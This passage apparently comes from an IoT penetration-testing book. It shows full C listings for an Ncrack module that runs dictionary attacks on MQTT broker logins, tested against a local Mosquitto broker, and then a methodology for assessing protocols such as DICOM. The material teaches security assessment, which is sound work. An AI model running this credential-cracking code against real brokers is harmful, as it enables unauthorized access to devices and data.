so if you want to reproduce the next steps on your own, find the git com-
mit from right before the module was added. To do that, use the following 
commands: 

root@kali:~# git clone https://github.com/nmap/ncrack.git
root@kali:~# cd ncrack
root@kali:~/ncrack# git checkout 73c2a165394ca8a0d0d6eb7d30aaa862f22faf63

A Quick Intro to Ncrack’s Architecture 

Like Nmap, Ncrack is written in C/C++, and it uses Nmap’s Nsock library 
to handle sockets in an asynchronous, event-driven manner. This means 
that instead of using multiple threads or processes to achieve parallelism, 
Ncrack continuously polls socket descriptors registered by each invoked 
module. Whenever a new network event occurs, such as a read, write, or 
timeout, it jumps to a preregistered callback handler that does something 
about the particular event. The internals of this mechanism are beyond  
the scope of this chapter. If you want a deeper understanding of Ncrack’s 
architecture, you can read the official developer’s guide at https://nmap.org/
ncrack/devguide.html. We’ll explain how the event-driven socket paradigm 
comes into the picture while developing the MQTT module. 

Compiling Ncrack 

To begin, make sure you have a working, compilable version of Ncrack in 
your test environment. If you’re using Kali Linux, make sure you have all 
the build tools and dependencies available by issuing this command:

root@kali:~# sudo apt install build-essential autoconf g++ git libssl-dev

https://nmap.org/ncrack/
https://github.com/nmap/ncrack/
https://github.com/nmap/ncrack/
https://nmap.org/ncrack/devguide.html
https://nmap.org/ncrack/devguide.html
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Then clone the latest version of Ncrack from GitHub by entering: 

root@kali:~# git clone https://github.com/nmap/ncrack.git

Compiling should then be a simple matter of entering the following 
line inside the newly created ncrack directory:

root@kali:~/ncrack# ./configure && make

You should now have a working Ncrack binary inside the local direc-
tory. To test this, try running Ncrack without any arguments:

root@kali:~/ncrack# ./ncrack

This should display the help menu.

Initializing the Module

You need to follow some standard steps every time you create a new module 
in Ncrack. First, edit the ncrack-services file to include the new protocol and 
its default port. Because MQTT uses TCP port 1833, we add the following 
line (anywhere in the file is fine): 

mqtt 1883/tcp

Second, include a reference to your module’s main function (for 
example, ncrack_mqtt in our case) in the call_module function inside the 
ncrack.cc file. All module main functions have the naming convention 
ncrack_protocol, substituting protocol for the actual protocol name. Add  
the following two lines inside the main else-if case:

  else if (!strcmp(name, "mqtt"))
    ncrack_mqtt(nsp, con);

Third, we create the main file for our new module under the modules 
directory and name it ncrack_mqtt.cc. The modules.h file needs to have the 
definition of the main module function, so we add it. All main module 
functions have the same arguments (nsock_pool, Connection *):

void ncrack_mqtt(nsock_pool nsp, Connection *con);

Fourth, we edit configure.ac in the main Ncrack directory to include the 
new module files ncrack_mqtt.cc and ncrack_mqtt.o in the MODULES_SRCS and 
MODULES_OBJS variables, respectively: 

MODULES_SRCS="$MODULES_SRCS ncrack_ftp.cc ncrack_telnet.cc ncrack_http.cc \
ncrack_pop3.cc ncrack_vnc.cc ncrack_redis.cc ncrack_owa.cc \
ncrack_imap.cc ncrack_cassandra.cc ncrack_mssql.cc ncrack_cvs.cc \
ncrack_wordpress.cc ncrack_joomla.cc ncrack_dicom.cc ncrack_mqtt.cc"
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MODULES_OBJS="$MODULES_OBJS ncrack_ftp.o ncrack_telnet.o ncrack_http.o \
ncrack_pop3.o ncrack_vnc.o ncrack_redis.o ncrack_owa.o \
ncrack_imap.o ncrack_cassandra.o ncrack_mssql.o ncrack_cvs.o \
ncrack_wordpress.o ncrack_joomla.o ncrack_dicom.o ncrack_mqtt.o"

Note that after making any change to configure.ac, we need to run the 
autoconf tool inside the main directory to create the new configure script to 
be used in the compilation: 

root@kali:~/ncrack# autoconf 

The Main Code

Now let’s write the MQTT module code in the ncrack_mqtt.cc file. This mod-
ule will conduct a dictionary attack against MQTT server authentication. 
Listing 4-1 shows the first part of our code, which has the header inclusions 
and function declarations.

#include "ncrack.h"
#include "nsock.h"
#include "Service.h"
#include "modules.h"

#define MQTT_TIMEOUT 20000 1
extern void ncrack_read_handler(nsock_pool nsp, nsock_event nse, void *mydata); 2
extern void ncrack_write_handler(nsock_pool nsp, nsock_event nse, void *mydata);
extern void ncrack_module_end(nsock_pool nsp, void *mydata);

static int mqtt_loop_read(nsock_pool nsp, Connection *con); 3
enum states { MQTT_INIT, MQTT_FINI }; 4

Listing 4-1: Header inclusions and function declarations

The file begins with local header inclusions that are standard for every 
module. In MQTT_TIMEOUT, we then define 1 how long we’ll wait until we 
receive an answer from the broker. We’ll use this value later in the code. 
Next, we declare three important callback handlers: ncrack_read_handler 
and ncrack_write_handler for reading and writing data to the network, and 
ncrack_module_end, which must be called each time we finish a whole authen-
tication round 2. These three functions are defined in ncrack.cc and their 
semantics aren’t important here. 

The function mqtt_loop_read 3 is a local-scope helper function (meaning 
it’s visible only within the module file, due to the static modifier) that will 
parse the incoming MQTT data. Finally, we’ll have two states in our mod-
ule 4. States, in Ncrack lingo, refer to specific steps in the authentication 
process for the particular protocol we’re cracking. Each state performs a 
micro-action, which almost always involves registering a certain network-
related Nsock event. For example, in the MQTT_INIT state, we send our first 
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MQTT CONNECT packet to the broker. Then, in the MQTT_FINI state, we 
receive the CONNACK packet from it. Both states involve either writing or 
reading data to the network. 

The second part of the file defines two structures that will help us 
manipulate the CONNECT and CONNACK packets. Listing 4-2 shows the 
code for the former.

struct connect_cmd {
  uint8_t message_type; /* 1 for CONNECT packet */
  uint8_t msg_len;      /* length of remaining packet */
  uint16_t prot_name_len; /* should be 4 for "MQTT" */
  u_char protocol[4];   /* it's always "MQTT" */
  uint8_t version;      /* 4 for version MQTT version 3.1.1 */
  uint8_t flags;        /* 0xc2 for flags: username, password, clean session */
  uint16_t keep_alive;  /* 60 seconds */
  uint16_t client_id_len; /* should be 6 with "Ncrack" as id */
  u_char client_id[6];  /* let's keep it short - Ncrack */ 
  uint16_t username_len; /* length of username string */
    /* the rest of the packet, we'll add dynamically in our buffer:
     * username (dynamic length), 
     * password_length (uint16_t)
     * password (dynamic length)
     */
  connect_cmd() {  /* constructor - initialize with these values */ 1
    message_type = 0x10; 
    prot_name_len = htons(4);    
    memcpy(protocol, "MQTT", 4);
    version = 0x04; 
    flags = 0xc2;
    keep_alive = htons(60);
    client_id_len = htons(6);
    memcpy(client_id, "Ncrack", 6);
  }
} __attribute__((__packed__)) connect_cmd;

Listing 4-2: Structure for manipulating the CONNECT packet

We define the C struct connect_cmd to contain the expected fields of an 
MQTT CONNECT packet as its members. Because the initial part of this 
type of packet is composed of a fixed header, it’s easy to statically define 
the values of these fields. The CONNECT packet is an MQTT control packet 
that has:

•	 A fixed header made of the Packet Type and Length fields.

•	 A variable header made of the Protocol Name (prefixed by the Protocol 
Name Length), Protocol Level, Connect Flags, and Keep Alive.
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•	 A payload with one or more length-prefixed fields; the presence of 
these fields is determined by the Connect flags—in our case, the Client 
Identifier, Username, and Password.

To determine exactly how the MQTT CONNECT packet is structured, 
consult the official protocol specification at https://docs.oasis-open.org/mqtt/
mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901033/. For convenience, you can use 
Table 4-2, which we created. We also recommend looking up the same 
packet structure in the Wireshark traffic dump (for example, Figure 4-9). 
You’ll generally have some flexibility regarding how to map the packet fields 
in the C struct fields; our way of doing it is one among many.

The message_type is a four-bit field that determines the packet type. 
The value 1 specifies the CONNECT packet. Note that we allocate eight bits 
(uint8_t) for this field to cover the four least significant bits reserved for this 
packet type (all 0). The msg_len is the number of bytes remaining in the cur-
rent packet, not including the bytes of the length field. It corresponds to 
the packet’s Length field.

Next on the variable header, prot_name_len and protocol correspond to 
the fields Protocol Name Length and Protocol Name. This length should always 
be 4, because the protocol name is always represented by the capitalized 
UTF-8 encoded string “MQTT”. The version, representing the Protocol Level 
field, has the value 0x04 for MQTT version 3.1.1, but later standards might 
use different values. The flags, representing the Connect Flags field, deter-
mine the behavior of the MQTT connection and the presence or absence 
of fields in the payload. We’ll initialize it with the value 0xC2 to set the three 
flags: username, password, and clean session. The keep_alive, representing the 
Keep Alive field, is a time interval in seconds that determines the maximum 
amount of time that can lapse between sending consecutive control packets. 
It’s not important in our case, but we’ll use the same value as the Mosquitto 
application does.

Finally, the packet payload begins with the client_id_length and client 
_id. The Client Identifier must always be the first field in the CONNECT packet 
payload. It’s supposed to be unique for each client, so we’ll use “Ncrack” for 
our module. The remaining fields are the Username Length (username_len), 
Username, Password Length, and Password. Because we expect to be using dif-
ferent usernames and passwords for each connection (because we’re per-
forming a dictionary attack), we’ll dynamically allocate the last three later in 
the code. 

We then use the struct constructor 1 to initialize these fields with val-
ues that we know will stay the same.

https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901033/
https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901033/
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Table 4-2: The MQTT CONNECT Packet Structure: Fixed Header, Variable Header, and  
Payload Separated by Bold Border

Our server will send the CONNACK packet in response to a CONNECT 
packet from a client. Listing 4-3 shows the structure of the CONNACK packet.

struct ack {
  uint8_t message_type;
  uint8_t msg_len;
  uint8_t flags;
  uint8_t ret_code;
} __attribute__((__packed__)) ack;

Listing 4-3: Structure for manipulating the CONNACK packet

The message_type and msg_len comprise the standard fixed header of an 
MQTT control packet, similar to the CONNECT packet’s header. MQTT 
sets the message_type value for the CONNACK packet to 2. The flags are 
normally all 0 for this type of packet. You can see this in Figure 4-10 and 
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Figure 4-11, also. The ret_code is the most important field because, depend-
ing on its value, we can determine whether or not our credentials were 
accepted. A return code of 0x00 signifies an accepted connection, while a 
return code of 0x05 indicates that the connection isn’t authorized (as we 
saw in Figure 4-10) because either no credentials were provided or they 
were incorrect. Although there are other return values, to keep our module 
simple, we’ll assume that any value other than 0x00 means we must try dif-
ferent credentials.

The struct’s packed attribute is a directive to the C compiler to not add 
any padding in between the fields (which it usually does automatically to 
optimize memory access), so everything is kept intact. We did the same for 
the connect_cmd struct. This is good practice for structs used in networking. 

Next, we define a function called mqtt_loop_read to parse the CONNACK 
packet, as Listing 4-4 shows.

static int
mqtt_loop_read(nsock_pool nsp, Connection *con)
{
  struct ack *p; 1
  if (con->inbuf == NULL || con->inbuf->get_len() < 4) {
    nsock_read(nsp, con->niod, ncrack_read_handler, MQTT_TIMEOUT, con);
    return -1;
  }

  p = (struct ack *)((char *)con->inbuf->get_dataptr()); 2
  if (p->message_type != 0x20) /* reject if not an MQTT ACK message */
    return -2;
  
  if (p->ret_code == 0) /* return 0 only if return code is 0 */ 3
    return 0;

  return -2;
}

Listing 4-4: Definition of the mqtt_loop_read function, which is responsible for parsing CONNACK packets 
and checking the return code

We first declare a local pointer p 1 to a struct of type ack. We then check 
whether we’ve received any data in our incoming buffer (is the con->inbuf 
pointer NULL?) or whether the received data’s length is less than 4, which is  
the minimum size for the expected server’s reply. If either of these conditions 
is true, we need to keep waiting for incoming data, so we schedule an nsock 
_read event that will be handled by our standard ncrack_read_handler. 

How these functions work internally is beyond the scope of this book, but 
it’s important to understand the asynchronous nature of this method. The 
point is that these functions will do their jobs after the module returns control 
to the main Ncrack engine, which will happen after the function ncrack_mqtt 
ends execution. To know where the module left off for each TCP connection 
when it’s next called, Ncrack keeps the current state in the con->state variable. 
Additional information is also kept in other members of the Connection class, 
such as the buffers for incoming (inbuf) and outgoing (outbuf) data. 
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Once we know we’ve received a complete CONNACK reply, we can point 
our local p pointer to the buffer 2 meant for incoming network data. We 
cast that buffer to the struct ack pointer. In simple terms, this means that 
we can now use the p pointer to easily browse through the members of the 
struct. Then the first thing we check in the received packet is whether or 
not it’s a CONNACK packet; if it’s not, we shouldn’t bother parsing it any 
further. If it is, we check whether the return code is 0 3, in which case we 
return a 0 to notify the caller that the credentials were correct. Otherwise, 
an error occurred or the credentials were incorrect, and we return a -2. 

The final part of our code is the main ncrack_mqtt function that han-
dles all the logic for authenticating against an MQTT server. It’s divided 
into two listings: Listing 4-5 contains the logic for the MQTT_INIT state, and 
Listing 4-6 contains the logic for the MQTT_FINI state.  

void
ncrack_mqtt(nsock_pool nsp, Connection *con)
{
nsock_iod nsi = con->niod; 1
  struct connect_cmd cmd;
  uint16_t pass_len;

switch (con->state) 2
{
  case MQTT_INIT:
    con->state = MQTT_FINI;
      
    delete con->inbuf; 3
    con->inbuf = NULL;
    if (con->outbuf)
      delete con->outbuf;
    con->outbuf = new Buf();

    /* the message len is the size of the struct plus the length of the usernames
     * and password minus 2 for the first 2 bytes (message type and message length) that 
     * are not counted in
     */
    cmd.msg_len = sizeof(connect_cmd) + strlen(con->user) + strlen(con->pass) + 
                    sizeof(pass_len) - 2; 4
    cmd.username_len = htons(strlen(con->user));
    pass_len = htons(strlen(con->pass));

    con->outbuf->append(&cmd, sizeof(cmd)); 5
    con->outbuf->snprintf(strlen(con->user), "%s", con->user);
    con->outbuf->append(&pass_len, sizeof(pass_len));
    con->outbuf->snprintf(strlen(con->pass), "%s", con->pass);

    nsock_write(nsp, nsi, ncrack_write_handler, MQTT_TIMEOUT, con, 6
          (const char *)con->outbuf->get_dataptr(), con->outbuf->get_len());
    break;

Listing 4-5: The MQTT_INIT state that sends the CONNECT packet
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The first block of code in our main function declares three local vari-
ables 1. Nsock uses the nsock_iod variable whenever we register network read 
and write events through nsock_read and nsock_write correspondingly. The 
struct cmd, which we defined in Listing 4-2, handles the incoming CONNECT 
packet. Note that its constructor is automatically called when we declare it, 
so it’s initialized with the default values we gave each field. We’ll use pass_len 
to temporarily store the password length’s two-byte value. 

Every Ncrack module has a switch statement 2 in which each case rep-
resents a specific step of the authentication phase for the particular proto-
col we’re cracking. MQTT authentication only has two states: we start with 
MQTT_INIT, and then set the next state to be MQTT_FINI. This means that when 
we end the execution of this phase and return control to the main Ncrack 
engine, the switch statement will continue from the next state, MQTT_FINI 
(shown in Listing 4-6), when the module gets executed again for this par-
ticular TCP connection.

We then make sure our buffers for receiving (con->inbuf) and sending 
(con->outbuf) network data are clear and empty 3. Next, we update the 
remaining length field in our cmd struct 4. Remember that this is calculated 
as the remaining length of the CONNECT packet, not including the length 
field. We must take into account the size of the extra three fields (user-
name, password length, and password) that we’re adding at the end of our 
packet, because we didn’t include those in our cmd struct. We also update 
the username length field with the actual size of the current username. 
Ncrack automatically iterates through the dictionary and updates the user-
name and password in the user and pass variables of the Connection class 
accordingly. We also calculate the password length and store it in pass_len. 
Next, we start crafting our outgoing CONNECT packet by first adding our 
updated cmd struct to the outbuf 5 and then dynamically adding the extra 
three fields. The Buffer class (inbuf, outbuf) has its own convenient func-
tions, such as append and snprintf, with which you can easily and gradually 
add formatted data to craft your own TCP payloads. 

Additionally, we schedule our packet in outbuf to be sent to the net-
work by registering a network write event through nsock_write, handled by 
ncrack_write_handler 6. Then we end the switch statement and the ncrack 
_mqtt function (for now) and return execution control to the main engine, 
which among other tasks will loop through any registered network events 
(like the one we just scheduled above with the use of the ncrack_mqtt func-
tion) and handle them. 

The next state, MQTT_FINI, receives and parses the incoming CONNACK 
packet from the broker and checks whether our provided credentials were 
correct. Listing 4-6 shows the code, which goes in the same function defini-
tion as Listing 4-5.

    case MQTT_FINI:
      if (mqtt_loop_read(nsp, con) == -1) 1
        break;
      else if (mqtt_loop_read(nsp, con) == 0) 2
        con->auth_success = true;
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      con->state = MQTT_INIT; 3
      delete con->inbuf;
      con->inbuf = NULL;
      return ncrack_module_end(nsp, con); 4
  }
}

Listing 4-6: The MQTT_FINI state that receives the incoming CONNACK packet and evaluates if the username 
and password combination we sent were correct or not

We start by asking mqtt_loop_read whether we’ve received the server’s 
reply yet 1. Recall from Listing 4-4 that it will return -1 if we haven’t yet 
gotten all four bytes of the incoming packet. If we haven’t yet received the 
complete reply of the server, mqtt_loop_read will register a read event, and 
we’ll return control to the main engine to wait for those data or handle 
other events registered from other connections (of the same or other mod-
ules that might be running). If mqtt_loop_read returns 0 2, it means that the 
current username and password successfully authenticated against our tar-
get and we should update the Connection variable auth_success  so Ncrack 
marks the current credential pair as valid. 

We then update the internal state to go back to MQTT_INIT 3, because we 
have to loop through the rest of the credentials in the current dictionary. 
At this point, because we’ve completed a full authentication attempt, we call 
ncrack_module_end 4, which will update some statistical variables (such as the 
number of times we’ve attempted to authenticate so far) for the service. 

The concatenation of all six listings makes up the whole MQTT module 
file ncrack_mqtt.cc. The GitHub commit at https://github.com/nmap/ncrack/blob/
accdba084e757aef51dbb11753e9c36ffae122f3/modules/ncrack_mqtt.cc/ provides 
the file we coded in its entirety. After finishing with the code, we enter make 
in the main Ncrack directory to compile our new module.

Testing the Ncrack Module Against MQTT
Let’s test our new module against the Mosquitto broker to see how fast we 
can find a correct username and password pair. We can do that by running 
the module against our local Mosquitto instance:

root@kali:~/ncrack#./ncrack mqtt://127.0.0.1 --user test -v
Starting Ncrack 0.7 ( http://ncrack.org ) at 2019-10-31 01:15 CDT

Discovered credentials on mqtt://127.0.0.1:1883 'test' 'test123'
mqtt://127.0.0.1:1883 finished.

Discovered credentials for mqtt on 127.0.0.1 1883/tcp:
127.0.0.1 1883/tcp mqtt: 'test' 'test123'

Ncrack done: 1 service scanned in 3.00 seconds.
Probes sent: 5000 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.

https://github.com/nmap/ncrack/blob/accdba084e757aef51dbb11753e9c36ffae122f3/modules/ncrack_mqtt.cc/
https://github.com/nmap/ncrack/blob/accdba084e757aef51dbb11753e9c36ffae122f3/modules/ncrack_mqtt.cc/
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We tested against only the username test and the default password list 
(found under lists/default.pwd) in which we manually added the test123 pass-
word at the end of the file. Ncrack successfully cracked the MQTT service 
in three seconds after trying 5,000 credential combinations.

Conclusion
In this chapter, we performed VLAN hopping, network reconnaissance, 
and authentication cracking. We first abused VLAN protocols and identi-
fied unknown services in IoT networks. Then we introduced you to MQTT 
and cracked MQTT authentication. By now, you should be familiar with 
how to traverse VLANs, take advantage of Ncrack’s password cracking capa-
bilities, and use Nmap’s powerful service detection engine.





Analyzing protocols is important for tasks 
such as fingerprinting, obtaining informa-

tion, and even exploitation. But in the IoT 
world, you’ll frequently have to work with pro-

prietary, custom, or new network protocols. These 
protocols can be challenging, because even if you � 
can capture network traffic, packet analyzers like Wireshark often can’t 
identify what you’ve found. Sometimes, you’ll need to write new tools to 
communicate with the IoT device. 

In this chapter, we explain the process of analyzing network commu-
nications, focusing specifically on the challenges you’ll face when working 
with unusual protocols. We start by walking through a methodology for per-
forming security assessments of unfamiliar network protocols and imple-
menting custom tools to analyze them. Next, we extend the most popular 
traffic analyzer, Wireshark, by writing our own protocol dissector. Then we 
write custom modules for Nmap to fingerprint and even attack any new net-
work protocol that dares to cross your path. 

 

5
A N A LY Z I N G  N E T W O R K 
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The examples in this chapter target the DICOM protocol, one of the 
most common protocols in medical devices and clinical systems, rather 
than an unusual protocol. Even so, almost no security tools support 
DICOM, so this chapter should help you work with any unusual network 
protocol you might encounter in the future. 

Inspecting Network Protocols
When you’re working with unusual protocols, it’s best to analyze them 
according to a methodology. Follow the process we describe in this section 
when assessing a network protocol’s security. We attempt to cover the most 
important tasks, including information gathering, analysis, prototyping, 
and security auditing.

Information Gathering
In the information-gathering phase, you’ll try to find all relevant resources 
available to you. But first, figure out whether the protocol is well documented 
by searching for the protocol’s official and unofficial documentation. 

Enumerating and Installing Clients

Once you have access to the documentation, find all the clients that can com-
municate with the protocol and install them. You can use these to replicate 
and generate traffic at will. Different clients might implement the protocol 
with small variations, so note these differences! Also, check whether program-
mers have written implementations in different programming languages. The 
more clients and implementations you find, the higher your chances are of 
finding better documentation and replicating network messages.

Discovering Dependent Protocols

Next, figure out whether the protocol depends on other protocols. For 
example, the Server Message Block (SMB) protocol generally works with 
NetBios over TCP/IP (NBT). If you’re writing new tools, you need to know 
any protocol dependencies to read and understand messages and to create 
and send new messages. Be sure to figure out which transport protocol your 
protocol is using. Is it TCP or UDP? Or is it something else: SCTP, maybe? 

Figuring Out the Protocol’s Port

Figure out the protocol’s default port number and whether the protocol ever 
runs on alternate ports. Identifying the default port and whether that num-
ber can change is helpful information that you’ll use when writing scanners 
or information-gathering tools. For example, Nmap reconnaissance scripts 
might not run if we write an inaccurate execution rule, and Wireshark might 
not use the correct dissector. Although there are workarounds for these 
issues, it’s best to have robust execution rules from the start. 
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Finding Additional Documentation

Check Wireshark’s website for additional documentation or capture samples. 
The Wireshark project often includes packet captures and is an overall great 
source of information. The project uses a wiki (https://gitlab.com/wireshark/ 
wireshark/-/wikis/home/) to allow contributors to add new information to  
every page. 

Also, notice which areas lack documentation. Can you identify func-
tions that aren’t well described? A lack of documentation can point you 
toward interesting findings.

Testing Wireshark Dissectors

Test whether all the Wireshark dissectors work properly against the protocol 
in use. Can Wireshark interpret and read all fields correctly in the protocol 
messages?

To do this, first check whether Wireshark has a dissector for the pro-
tocol and if it’s enabled. You can do that by clicking AnalyzeEnabled 
Protocols, as shown in Figure 5-1.

Figure 5-1: The Enabled Protocols window in Wireshark

If the protocol specifications are public, check that all fields are iden-
tified correctly. Especially with complex protocols, dissectors often have 
errors. If you spot any, pay close attention to them. To get more ideas, 
review the list of Common Vulnerabilities and Exposures (CVEs) assigned 
to Wireshark dissectors.

https://gitlab.com/wireshark/wireshark/-/wikis/home/
https://gitlab.com/wireshark/wireshark/-/wikis/home/
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Analysis
In the analysis phase, generate and replay traffic to understand how the 
protocol works. The objective is to get a clear idea of the overall struc-
ture of the protocol, including its transport layer, messages, and available 
operations.

Obtaining a Copy of the Network Traffic

Depending on the type of device, there are different ways of obtaining the 
network traffic you need to analyze. Some might support proxy configura-
tions out of the box! Determine whether you need to perform active or pas-
sive network traffic sniffing. (You can find several examples of how to do 
this in James Forshaw’s Attacking Network Protocols [No Starch Press, 2018].) 
Try to generate traffic for every use case available, and generate as much 
traffic as possible. Having different clients helps you understand the differ-
ences and quirks in existing implementations.

One of the first steps in the analysis phase should be looking at the 
traffic capture and examining the packets sent and received. Some obvi-
ous issues might pop up, so it’s useful to do this before moving on with 
active analysis. The website https://gitlab.com/wireshark/wireshark/-/wikis/
SampleCaptures/ is an excellent resource for finding public captures. 

Analyzing Network Traffic with Wireshark

If Wireshark has a dissector that can parse the traffic you generated, enable 
it by clicking the checkbox by its name in the Enabled Protocols window, as 
shown in Figure 5-2.

Figure 5-2: Disabled protocol dissector in Enabled Protocols window in Wireshark

https://gitlab.com/wireshark/wireshark/-/wikis/SampleCaptures/
https://gitlab.com/wireshark/wireshark/-/wikis/SampleCaptures/
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Now try looking for the following:

The first bytes in the message.    Sometimes the first bytes in the initial 
connection handshake or messages are magic bytes that provide a way 
to quickly identify the service.

The initial connection handshake.    This is an important function of 
any protocol. It’s usually during this step that you learn about the pro-
tocol’s version and supported features, including security features like 
encryption. Replicating this step will also help you develop scanners to 
easily find these devices and services on networks. 

Any TCP/UDP streams and common data structures used in the pro-
tocol.     Sometimes, you’ll identify strings in plaintext, or common data 
structures, such as packets with the length appended to the beginning 
of the message.

The endianness of the protocol.    Some protocols use mixed endian-
ness, which can cause problems if not identified early. Endianness var-
ies a lot from protocol to protocol, but it’s necessary for creating correct 
packets.  

The structure of the messages.    Identify different headers and mes-
sage structures and how to initialize and close the connection.

Prototyping and Tool Development
Once you’ve analyzed the protocol, you can start prototyping, or transform-
ing the notes you gathered from your analysis into actual software that 
you can use to communicate with a service using the protocol. The pro-
totype will confirm that you correctly understood the packet structure of 
each message type. In this phase, it’s important to choose a programming 
language that allows you to work very quickly. For that reason, we prefer 
dynamically typed scripting languages, such as Lua or Python. Check 
whether any libraries and frameworks are available that you could lever-
age to speed up development.

If Wireshark doesn’t support the protocol, develop a dissector to help 
you with the analysis. We’ll discuss this process in the “Developing a Lua 
Wireshark Dissector for the DICOM Protocol” section later in this chapter. 
We’ll also use Lua for prototyping an Nmap Scripting Engine module to 
communicate with the service.

Conducting a Security Assessment
Once you’ve concluded the analysis, confirmed your conjectures about 
the protocol, and created a working prototype to communicate with the 
DICOM service, you need to assess the protocol’s security. In addition to 
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the general security assessment process described in Chapter 3, check for 
the following key points: 

Test server and client impersonation attacks.    Ideally, the client and 
server should authenticate each other, a process known as mutual authen-
tication. If they don’t, it might be possible to impersonate either the client 
or the server. This behavior can have serious consequences; for example, 
we once performed a client-impersonation attack to spoof a drug library 
component and feed a drug infusion pump with rogue drug libraries. 
Although the two endpoints communicated over Transport Layer Security 
(TLS), this couldn’t prevent the attack, because no mutual authentication 
took place.

Fuzz the protocol and check for flooding attacks.    Also, attempt to 
replicate crashes and identify bugs. Fuzzing is the process of automati-
cally supplying malformed input to a system with the end goal of find-
ing implementation bugs. Most of the time, this will cause the system to 
crash. The more complex the protocol, the higher the chances of find-
ing memory corruption flaws. DICOM (analyzed later in this chapter) 
is a perfect example. Given its complexity, it’s possible to find buffer 
overflows and other security problems in different implementations. In 
flooding attacks, attackers send the system a large number of requests 
to exhaust the system’s resources, causing the system to become unre-
sponsive. A typical example of this is the TCP SYN flood attack, which 
you can mitigate using SYN cookies.

Check for encryption and signing.    Is the data confidential? Can we 
assure the data integrity? How strong are the cryptographic algorithms 
used? We’ve seen cases where vendors implemented their own custom 
cryptographic algorithms, and it was always a disaster. In addition, 
many network protocols don’t require any digital signing, which pro-
vides message authentication, data integrity, and nonrepudiation. For 
example, DICOM doesn’t employ digital signing unless it’s used over a 
secure protocol like Transport Layer Security (TLS), which is suscep-
tible to man-in-the-middle attacks.

Test for downgrade attacks.    These are cryptographic attacks 
on the protocol that force the system to use a lower-quality, more 
insecure mode of operation (for example, one that sends cleartext 
data). Examples include the Padding Oracle on Downgraded Legacy 
Encryption (POODLE) attack on Transport Layer Security/Secure 
Sockets Layer (TLS/SSL). In this attack, a man-in-the-middle attacker 
forces clients to fall back on SSL 3.0 and exploits a design flaw to steal 
cookies or passwords.  

Test for amplification attacks.    These attacks are caused when the 
protocol has functions whose response is considerably larger than the 
request, because attackers can abuse these functions to cause a denial 
of service. An example of this is the mDNS reflection DDoS attack, 
where some mDNS implementations responded to unicast queries that 
originated from sources outside the local-link network. We’ll explore 
mDNS in Chapter 6. 
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Developing a Lua Wireshark Dissector for the DICOM Protocol
This section shows you how to write a dissector that you can use with Wire
shark. When auditing network protocols used by IoT devices, it’s crucial 
we understand how the communication is happening, how the messages 
are formed, and what functions, operations, and security mechanisms are 
involved. Then we can start altering data flows to find vulnerabilities. To 
write our dissector, we’ll use Lua; it allows us to quickly analyze captured net-
work communications with a small amount code. We’ll go from seeing blobs 
of information to readable messages by contributing just a few lines of code.

For this exercise, we’ll only focus on the subset of functions needed to 
process DICOM A-type messages (discussed in the next section). Another 
detail to note when writing Wireshark dissectors for TCP in Lua is that pack-
ets can be fragmented. Also, depending on factors like packet retransmis-
sions, out of order errors, or Wireshark configurations limiting the packet 
size captures (the default capture packet size limit is 262,144 bytes), we might 
have less or more than one message in a TCP segment. Let’s ignore this 
for now and focus on the A-ASSOCIATE requests, which will be enough to 
identify DICOM services when we write a scanner. If you want to learn more 
about how to deal with TCP fragmentation, see the full resulting example 
file orthanc.lua distributed with this book’s materials or go to https://nostarch.
com/practical-iot-hacking/. 

Working with Lua 
Lua is a scripting language for creating expandable or scriptable modules 
in many important security projects, such as Nmap, Wireshark, and even 
commercial security products like NetMon from LogRhythm. Some of the 
products you use daily are likely running Lua. Many IoT devices also use 
Lua because of its small binary size and well-documented API, which makes 
it easy to use to extend projects in other languages like C, C++, Erlang, and 
even Java. This makes Lua perfect for embedding into applications. You’ll 
learn how to represent and work with data in Lua, and how popular soft-
ware such as Wireshark and Nmap use Lua to extend their capabilities for 
traffic analysis, network discovery, and exploitation.

Understanding the DICOM Protocol
DICOM is a nonproprietary protocol developed by the American College 
of Radiology and National Electrical Manufacturers Association. It has 
become the international standard for transferring, storing, and process-
ing medical imaging information. Although DICOM isn’t proprietary, it’s a 
good example of a network protocol implemented in many medical devices, 
and traditional network security tools don’t support it very well. DICOM 
over TCP/IP communications are two-way: a client requests an action 
and the server performs it, but they can switch their roles, if necessary. In 
DICOM terminology, the client is called Service Call User (SCU) and the 
server is called the Service Call Provider (SCP). 

https://nostarch.com/practical-iot-hacking/
https://nostarch.com/practical-iot-hacking/
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Before writing any code, let’s examine some important DICOM mes-
sages and the protocol structure.

C-ECHO Messages

DICOM C-ECHO messages exchange information about the calling and 
called applications, entities, versions, UIDs, names, and roles, among other 
details. We commonly call them DICOM pings, because they’re used to 
determine whether a DICOM service provider is online. A C-ECHO mes-
sage uses several A-type messages, so we’ll be looking for these in this sec-
tion. The first packet a C-ECHO operation sends is an A-ASSOCIATE request 
message, which is sufficient to identify a DICOM service provider. From the 
A-ASSOCIATE response, you can obtain information about the service. 

A-Type Protocol Data Units (PDUs)

There are seven kinds of A-type messages used in C-ECHO messages:

•	 A-ASSOCIATE request (A-ASSOCIATE-RQ): Requests sent by the cli-
ent to establish a DICOM connection

•	 A-ASSOCIATE accept (A-ASSOCIATE-AC): Responses sent by the 
server to accept a DICOM A-ASSOCIATE request

•	 A-ASSOCIATE reject (A-ASSOCIATE-RJ): Responses sent by the 
server to reject a DICOM A-ASSOCIATE request

•	 (P-DATA-TF): Data packets sent by server and client

•	 A-RELEASE request (A-RELEASE-RQ): Requests sent by the client to 
close a DICOM connection

•	 A-RELEASE response (A-RELEASE-RP PDU): Responses sent by the 
server to acknowledge the A-RELEASE request

•	 A-ASSOCIATE abort (A-ABORT PDU): Responses sent by the server to 
cancel the A-ASSOCIATE operation

These PDUs all start with a similar packet structure. The first part is a 
one-byte unsigned integer in Big Endian that indicates the PDU type. The 
second part is a one-byte reserved section set to 0x0. The third part is the 
PDU length information, a four-byte unsigned integer in Little Endian. The 
fourth part is a variable-length data field. Figure 5-3 shows this structure.

Size in bytes 1 1 4 …
Variable
length

PDU type Reserved PDU length Data

Figure 5-3: The structure of a DICOM PDU
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Once we know the message structure, we can start reading and pars-
ing DICOM messages. Using the size of each field, we can calculate offsets 
when defining fields in our prototypes to analyze and communicate with 
DICOM services.

Generating DICOM Traffic
To follow along with this exercise, you need to set up a DICOM server 
and client. Orthanc is a robust, open source DICOM server that runs on 
Windows, Linux, and macOS. Install it on your system, make sure the con-
